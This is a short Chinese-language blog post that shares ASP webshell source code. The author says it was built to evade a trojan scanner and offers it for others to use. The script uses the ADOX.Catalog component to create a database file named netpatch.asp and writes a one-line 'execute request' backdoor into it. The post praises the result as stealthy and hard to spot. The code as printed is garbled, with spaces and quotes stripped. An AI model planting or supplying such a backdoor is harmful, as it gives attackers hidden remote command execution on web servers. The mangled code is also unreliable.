新型ASP后门源代码分析
2018-09-06 10:57
本是为了逃LAKER2兄查ASP木马程序的
现在已经挑战成功，已经加为检查对象了。公布出代码给冰点的朋友使使，希望大家喜欢！
利用的是ADOX.Catalog组件
复制代码 代码如下:<%
codebynetpatch
dimdbfile,sql
db=netpatch.asp
dbfile=server.MapPath(db)
setydb=server.CreateObject(ADOX.Catalog)
ydb.CreateProvider=Microsoft.Jet.OLEDB.4.0;DataSource=&dbfile
setydb=nothing
iferr.number=0then
Response.Writedbfile&创建成功<br>
else
Response.Write创建失败，原因：&err.description
Response.End
endif
Conn.OpenProvider=Microsoft.Jet.OLEDB.4.0;DataSource=&dbfile
sql=CREATETABLEfdata([data]Memo)
conn.execute(sql)
Setrs=CreateObject(ADODB.RecordSet)
rs.OpenFData,conn,1,3
rs.addnew
rs(data)=<%executerequest(“n”))%>(注释记得去掉！一句话后门executerequest(“n”))
rs.update
%>此脚本主要是利用ADOX.Catalog组件
新建一个名称为netpatch.asp的空数据库文件
然后把一句话木马插入新建的表中作为C/S版本的ASP马用！
优点，比较隐蔽，不容易让人看出这是什么作用的！